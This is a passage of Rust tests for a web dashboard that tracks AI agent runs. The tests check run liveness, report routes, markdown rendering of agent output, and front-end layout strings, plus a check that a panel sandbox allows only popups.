13059 assert_eq!(
13060 rows[none_run.id.as_str()]["unmerged_by_design"],
13061 true,
13062 "a mode-none Ready must be flagged in the list"
13063 );
13064 assert_eq!(
13065 rows[pr_run.id.as_str()]["unmerged_by_design"],
13066 false,
13067 "a Ready reached by a closed pull request is a different case"
13068 );
13069
13070 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
13071 assert_eq!(none_detail["status"], "ready");
13072 assert_eq!(none_detail["unmerged_by_design"], true);
13073
13074 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
13075 assert_eq!(pr_detail["unmerged_by_design"], false);
13076 }
13077
13078 #[tokio::test]
13083 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
13084 let f = Fixture::start().await;
13085 let id = "20260902-140502-bbbb";
13089 let mut state = RunState::new(
13090 PathBuf::from("/repo/magi"),
13091 "main".to_owned(),
13092 "0123456789abcdef".to_owned(),
13093 "Add a web UI".to_owned(),
13094 Config::default(),
13095 );
13096 state.id = id.to_owned();
13097 state.status = RunStatus::Judging;
13098 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
13099 let dir = f.runs().join(id);
13100 std::fs::create_dir_all(&dir).expect("run dir");
13101 std::fs::write(
13102 dir.join("run.json"),
13103 serde_json::to_string_pretty(&state).expect("serialize run"),
13104 )
13105 .expect("write run.json");
13106
13107 let cold = f.get(&format!("/api/runs/{id}")).await.json();
13113 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
13114 assert_eq!(cold["live"], "unknown", "{cold}");
13115
13116 write_daemon(f.home.path(), Timestamp::now());
13119 let warm = f.get(&format!("/api/runs/{id}")).await.json();
13120 assert_eq!(warm["live"], "live", "{warm}");
13121 }
13122
13123 #[tokio::test]
13126 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
13127 let f = Fixture::start().await;
13128 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
13129 let mut state = RunState::new(
13130 PathBuf::from("/repo/magi"),
13131 "main".to_owned(),
13132 "0123456789abcdef".to_owned(),
13133 "Add a web UI".to_owned(),
13134 Config::default(),
13135 );
13136 state.id = id.to_owned();
13137 state.origin = origin;
13138 let mut value = serde_json::to_value(&state).expect("serialize run");
13139 if let Some(schema) = schema {
13140 value["schema"] = serde_json::json!(schema);
13141 value.as_object_mut().unwrap().remove("origin");
13142 }
13143 let dir = f.runs().join(id);
13144 std::fs::create_dir_all(&dir).expect("run dir");
13145 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
13146 };
13147 write(
13148 "20260930-092817-ec34",
13149 Some(crate::run::Origin::from_agent_env(
13150 Some(("4a7b".to_owned(), "chat".to_owned())),
13151 None,
13152 )),
13153 None,
13154 );
13155 write("20260930-092817-0ld1", None, Some(12));
13156
13157 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
13158 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
13159 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
13160
13161 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
13162 assert_eq!(
13163 old["origin_label"], "origin unknown (started before origins were recorded)",
13164 "{old}"
13165 );
13166 assert!(old["origin"].is_null(), "{old}");
13167
13168 let list = f.get("/api/runs").await.json();
13169 let labels: Vec<_> = list
13170 .as_array()
13171 .unwrap()
13172 .iter()
13173 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
13174 .collect();
13175 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
13176 }
13177
13178 #[tokio::test]
13185 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
13186 let f = Fixture::start().await;
13187 let id = "20260922-090000-cccc";
13188 let mut state = RunState::new(
13189 PathBuf::from("/repo/magi"),
13190 "main".to_owned(),
13191 "0123456789abcdef".to_owned(),
13192 "Review only".to_owned(),
13193 Config::default(),
13194 );
13195 state.id = id.to_owned();
13196 state.status = RunStatus::Reviewing;
13197 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
13198 state.driver_pid = Some(std::process::id());
13204 state.driver_started_at = Some(
13205 crate::proc::process_started_at(std::process::id())
13206 .expect("this test process's own start time must be queryable"),
13207 );
13208 let dir = f.runs().join(id);
13209 std::fs::create_dir_all(&dir).expect("run dir");
13210 std::fs::write(
13211 dir.join("run.json"),
13212 serde_json::to_string_pretty(&state).expect("serialize run"),
13213 )
13214 .expect("write run.json");
13215
13216 let detail = f.get(&format!("/api/runs/{id}")).await.json();
13217 assert_eq!(detail["live"], "live", "{detail}");
13218 }
13219
13220 #[tokio::test]
13226 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
13227 let f = Fixture::start().await;
13228 let id = "20260922-090100-dddd";
13229 let mut state = RunState::new(
13230 PathBuf::from("/repo/magi"),
13231 "main".to_owned(),
13232 "0123456789abcdef".to_owned(),
13233 "Review only".to_owned(),
13234 Config::default(),
13235 );
13236 state.id = id.to_owned();
13237 state.status = RunStatus::Reviewing;
13238 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
13239 state.driver_pid = Some(std::process::id());
13244 state.driver_started_at = Some("1".to_owned());
13245 let dir = f.runs().join(id);
13246 std::fs::create_dir_all(&dir).expect("run dir");
13247 std::fs::write(
13248 dir.join("run.json"),
13249 serde_json::to_string_pretty(&state).expect("serialize run"),
13250 )
13251 .expect("write run.json");
13252
13253 let detail = f.get(&format!("/api/runs/{id}")).await.json();
13254 assert_eq!(detail["live"], "dead", "{detail}");
13255 }
13256
13257 #[test]
13261 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
13262 let mk = |id: &str, pid: Option<u32>| {
13263 let mut s = RunState::new(
13264 PathBuf::from("/repo/magi"),
13265 "main".to_owned(),
13266 "0123456789abcdef".to_owned(),
13267 "Add a web UI".to_owned(),
13268 Config::default(),
13269 );
13270 s.id = id.to_owned();
13271 s.driver_pid = pid;
13272 s.driver_started_at = Some("1790000000".to_owned());
13273 s
13274 };
13275 let states = vec![
13276 mk("20260902-140502-aaaa", Some(77)),
13277 mk("20260902-140502-bbbb", Some(77)),
13278 mk("20260902-140502-cccc", Some(77)),
13279 mk("20260902-140502-dddd", None),
13280 ];
13281 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
13282 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
13283 let sup: HashMap<String, String> = [(
13284 "20260902-140502-aaaa".to_owned(),
13285 "20260902-140502-cccc".to_owned(),
13286 )]
13287 .into();
13288
13289 let status_calls = std::cell::Cell::new(0);
13290 let identity_calls = std::cell::Cell::new(0);
13291 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
13292 |_| {
13293 status_calls.set(status_calls.get() + 1);
13294 Some(true)
13295 },
13296 |_| {
13297 identity_calls.set(identity_calls.get() + 1);
13298 Some("1790000000".to_owned())
13299 },
13300 ));
13301 let rows = summarize(
13302 states,
13303 &open,
13304 &claimed,
13305 &sup,
13306 |p| probe.borrow_mut().status(p),
13307 |p| probe.borrow_mut().started_at(p),
13308 );
13309
13310 assert_eq!(status_calls.get(), 1, "one pid, one status query");
13311 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
13312 assert_eq!(rows.len(), 4);
13313 assert!(!rows[0].waiting && rows[1].waiting);
13314 assert_eq!(rows[0].live, crate::run::Liveness::Live);
13315 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
13316 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
13317 assert_eq!(rows[1].superseded_by, None);
13318 }
13319
13320 #[test]
13321 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
13322 let mut state = RunState::new(
13323 PathBuf::from("/repo/magi"),
13324 "main".to_owned(),
13325 "0123456789abcdef".to_owned(),
13326 "Review only".to_owned(),
13327 Config::default(),
13328 );
13329 state.id = "20260922-090200-dead".to_owned();
13330 state.status = RunStatus::Reviewing;
13331 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
13332 .expect("serialize list row");
13333 assert_eq!(row["status"], "reviewing");
13334 assert_eq!(row["live"], "dead", "{row}");
13335 assert!(!row["done"].as_bool().unwrap());
13336 }
13337
13338 #[tokio::test]
13339 async fn the_run_list_is_newest_first_and_honours_a_limit() {
13340 let f = Fixture::start().await;
13341 for id in [
13342 "20260902-140501-aaaa",
13343 "20260902-140502-bbbb",
13344 "20260902-140503-cccc",
13345 ] {
13346 write_run(&f.runs(), id, RunStatus::Merged);
13347 }
13348
13349 let all = f.get("/api/runs").await.json();
13350 let capped = f.get("/api/runs?limit=2").await.json();
13351
13352 assert_eq!(all[0]["id"], "20260902-140503-cccc");
13353 assert_eq!(all.as_array().map(Vec::len), Some(3));
13354 assert_eq!(capped.as_array().map(Vec::len), Some(2));
13355 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
13356 }
13357
13358 #[tokio::test]
13359 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
13360 let f = Fixture::start().await;
13361 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
13362
13363 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
13364
13365 assert_eq!(res.status, 200);
13366 assert!(
13367 res.headers
13368 .contains("content-type: text/plain; charset=utf-8"),
13369 "a browser must render it, not download it: {}",
13370 res.headers
13371 );
13372 assert!(
13376 res.body.contains("20260902-140501-a1b2"),
13377 "the report is about the run that was asked for: {}",
13378 res.body
13379 );
13380 }
13381
13382 #[tokio::test]
13383 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
13384 crate::run::pin_test_home();
13386 let f = Fixture::start().await;
13387 let id = "20260902-140501-a1b2";
13388 write_run(&f.runs(), id, RunStatus::Stalled);
13389 let path = f.runs().join(id).join("run.json");
13392 let mut v: serde_json::Value =
13393 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
13394 v["tally"] = serde_json::json!({
13395 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
13396 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
13397 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
13398 "met_quorum": false, "rankings": 1
13399 });
13400 v["reviews"] = serde_json::json!([{
13401 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
13402 "e2e_deferred": true,
13403 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
13404 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
13405 ]}]
13406 }]);
13407 std::fs::write(&path, v.to_string()).unwrap();
13408 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
13409 std::fs::write(
13410 f.runs().join("20260902-140502-dead").join("run.json"),
13411 "{not json",
13412 )
13413 .unwrap();
13414
13415 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
13416
13417 assert_eq!(res.status, 200, "{}", res.body);
13418 assert!(res.headers.contains("content-type: application/json"));
13419 let j = res.json();
13420 assert_eq!(j["schema"], 1);
13421 assert_eq!(j["header"]["id"], id);
13422 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
13423 let kinds: Vec<&str> = j["sections"]
13424 .as_array()
13425 .unwrap()
13426 .iter()
13427 .map(|s| s["kind"].as_str().unwrap())
13428 .collect();
13429 assert_eq!(kinds, ["candidates", "tally", "review"]);
13430 let tally = &j["sections"][1]["tally"];
13431 assert_eq!(
13432 (tally["decided"].clone(), tally["provisional"].clone()),
13433 (false.into(), true.into())
13434 );
13435 let round = &j["sections"][2]["rounds"][0];
13436 assert_eq!(round["e2e"]["state"], "deferred");
13437 assert_eq!(round["findings"][0]["severity"], "major");
13438 assert_eq!(round["findings"][0]["blocking"], true);
13439 assert_eq!(round["findings"][0]["state"], "open");
13440
13441 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
13443
13444 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
13446 assert_ne!(bad.status, 200, "{}", bad.body);
13447 assert_eq!(
13448 bad.status,
13449 f.get("/api/runs/20260902-140502-dead/report").await.status
13450 );
13451 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
13452 assert_eq!(
13453 f.get("/api/runs/20260902-999999-ffff/report.json")
13454 .await
13455 .status,
13456 404
13457 );
13458 }
13459
13460 #[tokio::test]
13461 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
13462 let f = Fixture::start().await;
13463
13464 let html = f.get("/").await;
13465 let css = f.get("/app.css").await;
13466 let js = f.get("/app.js").await;
13467
13468 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
13469 assert!(
13470 html.headers
13471 .contains("content-type: text/html; charset=utf-8")
13472 );
13473 assert!(css.headers.contains("content-type: text/css"));
13474 assert!(js.headers.contains("content-type: text/javascript"));
13475 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
13476 }
13477
13478 #[test]
13479 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
13480 let body = |name: &str| {
13481 let at = APP_JS
13482 .find(name)
13483 .unwrap_or_else(|| panic!("{name} missing"));
13484 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
13485 };
13486 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
13487 let note = body("function landRoundNote");
13488 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
13489 assert!(note.contains("Land round ${round}"));
13490 let land = body("function renderLand");
13491 let note_at = land
13492 .find("landRoundNote(pr)")
13493 .expect("renderLand uses the note");
13494 assert!(
13495 note_at
13496 < land
13497 .find("roundRail(pr)")
13498 .expect("renderLand uses the rail")
13499 );
13500 }
13501
13502 #[test]
13503 fn the_runs_page_redesign_keeps_its_guards() {
13504 let body = |name: &str| {
13505 let at = APP_JS
13506 .find(name)
13507 .unwrap_or_else(|| panic!("{name} missing"));
13508 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
13509 };
13510 let land = body("function renderLand");
13512 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
13513 assert!(
13514 !land.contains("box.append("),
13515 "renderLand must use append()"
13516 );
13517 assert!(land.contains("append(box, ["));
13518 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
13520 assert!(
13521 body("function applyRoute")
13522 .contains("route.name !== state.route.name || route.id !== state.route.id")
13523 );
13524 assert!(!APP_JS.contains("adviseConvergeDiagram"));
13526 assert!(!INDEX_HTML.contains("advise-converge"));
13527 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
13528 assert!(APP_JS.contains("provisional"));
13529 for id in [
13530 "run-tab-overview",
13531 "run-tab-timeline",
13532 "run-tab-report",
13533 "run-report",
13534 "runs-scope",
13535 ] {
13536 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
13537 }
13538 assert!(!INDEX_HTML.contains("runs-tree"));
13539 assert!(!INDEX_HTML.contains("run-raw-panel"));
13540 assert!(APP_JS.contains("resume"));
13542 assert!(APP_JS.contains("unreadable"));
13544 }
13545
13546 #[test]
13547 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
13548 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
13549 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
13550 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
13551 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
13552 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
13553 assert!(APP_JS.contains("unreadable` : null"));
13555 }
13556
13557 #[test]
13558 fn the_run_detail_payload_says_whether_the_run_is_done() {
13559 for (status, done) in [
13561 (RunStatus::Superseded, true),
13562 (RunStatus::Blocked, true),
13563 (RunStatus::Landing, false),
13564 ] {
13565 let mut state = RunState::new(
13566 std::path::PathBuf::from("/repo"),
13567 "main".to_owned(),
13568 "abc".to_owned(),
13569 "x".to_owned(),
13570 crate::config::Config::default(),
13571 );
13572 state.status = status;
13573 let v = serde_json::to_value(RunDetailView::of(
13574 state,
13575 crate::run::Liveness::Unknown,
13576 None,
13577 None,
13578 None,
13579 ))
13580 .unwrap();
13581 assert_eq!(v["done"], done, "{status:?}");
13582 }
13583 }
13584
13585 fn has_strong(nodes: &[md::Node]) -> bool {
13587 serde_json::to_string(nodes).unwrap().contains("strong")
13588 }
13589
13590 #[test]
13591 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
13592 let mut state = RunState::new(
13593 std::path::PathBuf::from("/repo"),
13594 "main".to_owned(),
13595 "abc".to_owned(),
13596 "x".to_owned(),
13597 crate::config::Config::default(),
13598 );
13599 let proposal = |approach: &str| {
13600 serde_json::json!({
13601 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
13602 })
13603 };
13604 state.advice = Some(
13605 serde_json::from_value(serde_json::json!({
13606 "records": [
13607 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
13608 "proposal": proposal("do **this**")},
13609 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
13610 ],
13611 "synthesis": "- one\n- **two**\n\n`code`",
13612 }))
13613 .unwrap(),
13614 );
13615 state.candidates = serde_json::from_value(serde_json::json!([
13616 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
13617 "summary": "did **it**"},
13618 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
13619 ]))
13620 .unwrap();
13621 state.reviews = serde_json::from_value(serde_json::json!([{
13624 "round": 1, "head": "h",
13625 "reviews": [{
13626 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
13627 "findings": [
13628 {"severity": "nit", "title": "t1", "detail": "plain nit"},
13629 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
13630 ],
13631 }],
13632 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
13633 "fix": {"agent": "a", "notes": "fixed **it**",
13634 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
13635 }, {"round": 2, "head": "h2", "reviews": []}]))
13636 .unwrap();
13637
13638 let v = serde_json::to_value(RunDetailView::of(
13639 state,
13640 crate::run::Liveness::Unknown,
13641 None,
13642 None,
13643 None,
13644 ))
13645 .unwrap();
13646
13647 let strong = |p: &str| {
13648 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
13649 assert!(n.to_string().contains("strong"), "{p}: {n}");
13650 };
13651 strong("/advice_md/synthesis");
13652 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
13653 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
13654 strong("/advice_md/approaches/0");
13655 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
13656 strong("/candidate_summaries_md/0");
13657 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
13658 strong("/reviews_md/0/reviewers/0/summary");
13659 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
13660 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
13661 assert!(f[1].to_string().contains("strong"));
13662 strong("/reviews_md/0/reconsideration/0");
13663 strong("/reviews_md/0/fix/notes");
13664 strong("/reviews_md/0/fix/rejected/0");
13665 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
13666 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
13667 assert_eq!(v["candidates"][0]["summary"], "did **it**");
13669 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
13670 }
13671
13672 #[test]
13673 fn a_run_without_advice_has_no_advice_md() {
13674 let state = RunState::new(
13675 std::path::PathBuf::from("/repo"),
13676 "main".to_owned(),
13677 "abc".to_owned(),
13678 "x".to_owned(),
13679 crate::config::Config::default(),
13680 );
13681 let p = run_prose_md(&state);
13682 assert!(p.advice_md.is_none());
13683 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
13684 }
13685
13686 #[test]
13687 fn a_question_view_carries_markdown_for_each_thread_turn() {
13688 let home = TempDir::new().unwrap();
13689 let store = ask::Questions::at(home.path().join("questions"));
13690 let mut q = Question::new(
13691 "run".to_owned(),
13692 "implement".to_owned(),
13693 "impl-A".to_owned(),
13694 "which?".to_owned(),
13695 String::new(),
13696 Vec::new(),
13697 );
13698 q.say("plain words").unwrap();
13699 q.reply("use **this**", Vec::new()).unwrap();
13700 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
13701 let bodies = &v["thread_bodies_md"];
13702 assert_eq!(bodies.as_array().unwrap().len(), 2);
13703 assert!(!bodies[0].to_string().contains("strong"));
13704 assert!(bodies[1].to_string().contains("strong"));
13705 }
13706
13707 #[test]
13708 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
13709 let home = TempDir::new().unwrap();
13710 let store = ask::Questions::at(home.path().join("questions"));
13711 let mut q = Question::new(
13712 "run".to_owned(),
13713 "conduct".to_owned(),
13714 "conduct".to_owned(),
13715 "which?".to_owned(),
13716 String::new(),
13717 Vec::new(),
13718 );
13719 q.say("plain words").unwrap();
13720 q.thread.push(ask::Turn {
13721 who: ask::Who::Agent,
13722 body: "Settled as `merge`".to_owned(),
13723 at: jiff::Timestamp::now(),
13724 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
13725 });
13726 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
13727 let notes = &v["thread_notes_md"];
13728 assert_eq!(notes.as_array().unwrap().len(), 2);
13729 assert!(notes[0].is_null());
13730 let text = notes[1].to_string();
13731 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
13732 assert!(APP_JS.contains("ask-turn-note"));
13733 }
13734
13735 #[test]
13736 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
13737 assert!(APP_JS.contains("function landView(run, raw) {"));
13741 assert!(
13742 APP_JS.contains(
13743 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
13744 )
13745 );
13746 assert!(APP_JS.contains("const pr = landView(run, raw);"));
13747 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
13748 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
13749 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
13750 }
13751
13752 #[test]
13753 fn live_runs_are_never_hidden_or_folded_as_superseded() {
13754 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
13755 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
13756 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
13757 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
13758 }
13759
13760 #[test]
13761 fn review_rounds_label_a_distinct_verified_head() {
13762 assert!(APP_JS.contains("round.verified_head"));
13763 assert!(APP_JS.contains("verified HEAD"));
13764 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
13765 }
13766
13767 #[test]
13768 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
13769 assert!(APP_JS.contains("blocked: { glyph:"));
13773 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
13774
13775 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
13779 assert!(
13780 APP_JS.contains(
13781 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
13782 ),
13783 "the note line must name what a blocked task is waiting on, not just that it is blocked"
13784 );
13785 assert!(APP_JS.contains("if (status === \"blocked\") {"));
13789
13790 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
13794 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
13795 assert!(
13796 APP_JS.contains("location.hash = \"#/questions\";"),
13797 "a question node must jump to the Questions screen, not pretend to be a task"
13798 );
13799
13800 assert!(APP_JS.contains("Resolved questions"));
13803 assert!(APP_JS.contains("r.answersList.append("));
13804 assert!(APP_CSS.contains(".task-answers"));
13805 {
13806 let start = APP_JS
13807 .find("function updateTalkTaskRow")
13808 .expect("updateTalkTaskRow");
13809 let body = &APP_JS[start..];
13810 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
13811 assert!(
13812 body.contains(
13813 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
13814 ),
13815 "a chat-filed task row must link to the task page"
13816 );
13817 assert!(
13818 !body.contains("#/runs/") && !body.contains("#/queue/"),
13819 "the row must not branch to a run or the queue card"
13820 );
13821 assert!(APP_CSS.contains(".talk-task-link"));
13822 }
13823 }
13824
13825 #[test]
13826 fn a_task_notification_links_to_the_task_page() {
13827 let start = APP_JS
13829 .find("function noticeLink(")
13830 .expect("noticeLink exists");
13831 let body = &APP_JS[start..];
13832 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
13833 assert!(
13834 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
13835 "a task notice's link must target the task page"
13836 );
13837 assert!(
13838 !body.contains("#/queue/"),
13839 "regression: the task link must not go back to the Backlog route"
13840 );
13841 assert!(
13842 APP_JS.contains(
13843 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
13844 ),
13845 "`#/tasks/<id>` must parse into the task route"
13846 );
13847
13848 assert!(
13850 APP_JS.contains(
13851 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
13852 ),
13853 "`#/queue/<id>` must parse into a route carrying that id"
13854 );
13855
13856 assert!(APP_JS.contains("state.queueFocus = route.id;"));
13860 assert!(APP_JS.contains("function consumeQueueFocus()"));
13861 assert!(APP_JS.contains("jumpToTask(id)"));
13862 }
13863
13864 #[test]
13867 fn chat_rows_put_the_title_alone_on_the_first_line() {
13868 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
13869 assert!(APP_CSS.contains(
13870 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
13871 ));
13872 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
13873 assert!(APP_JS.contains("class: \"badge talk-unread\""));
13874 }
13875
13876 #[test]
13877 fn run_rows_put_the_title_alone_on_the_first_line() {
13878 assert!(
13879 APP_CSS.contains(
13880 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
13881 )
13882 );
13883 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
13884 assert!(APP_JS.contains("class: \"card run-card\""));
13885 assert!(APP_JS.contains("class: \"repo run-id\""));
13886 }
13887
13888 #[test]
13892 fn wide_screens_show_list_and_preview_side_by_side() {
13893 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
13895 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
13896 assert!(APP_CSS.contains("main[data-split]"));
13897 assert!(APP_CSS.contains("body[data-split]"));
13898
13899 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
13901 assert!(
13902 APP_JS.contains(
13903 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
13904 )
13905 );
13906 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
13907 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
13908 assert!(INDEX_HTML.contains("id=\"split-empty\""));
13909
13910 assert!(APP_JS.contains("function markSelected() {"));
13912 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
13913 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
13914 assert!(
13916 APP_CSS.contains(
13917 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
13918 )
13919 );
13920
13921 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
13923 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
13924 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
13925 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
13926
13927 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
13931 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
13932 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
13933 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
13934
13935 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
13937 }
13938
13939 #[test]
13940 fn panel_sandbox_carries_exactly_popups() {
13941 let needle = "sandbox: \"";
13942 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
13943 assert_eq!(
13944 matches.len(),
13945 1,
13946 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
13947 );
13948 let start = matches[0].0 + needle.len();
13949 let end = APP_JS[start..]
13950 .find('"')
13951 .expect("sandbox attribute value must be terminated by a closing quote");
13952 let val = &APP_JS[start..start + end];
13953 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
13954 let expected: std::collections::BTreeSet<&str> =
13955 ["allow-popups", "allow-popups-to-escape-sandbox"]
13956 .into_iter()
13957 .collect();
13958 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
13959 assert!(
13960 !tokens.contains("allow-scripts"),
13961 "allow-scripts must never be present in sandbox"
13962 );
13963 assert!(
13964 !tokens.contains("allow-same-origin"),
13965 "allow-same-origin must never be present in sandbox"
13966 );
13967 }
13968
13969 #[test]
13970 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
13971 assert!(
13980 APP_JS.contains(
13981 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
13982 ),
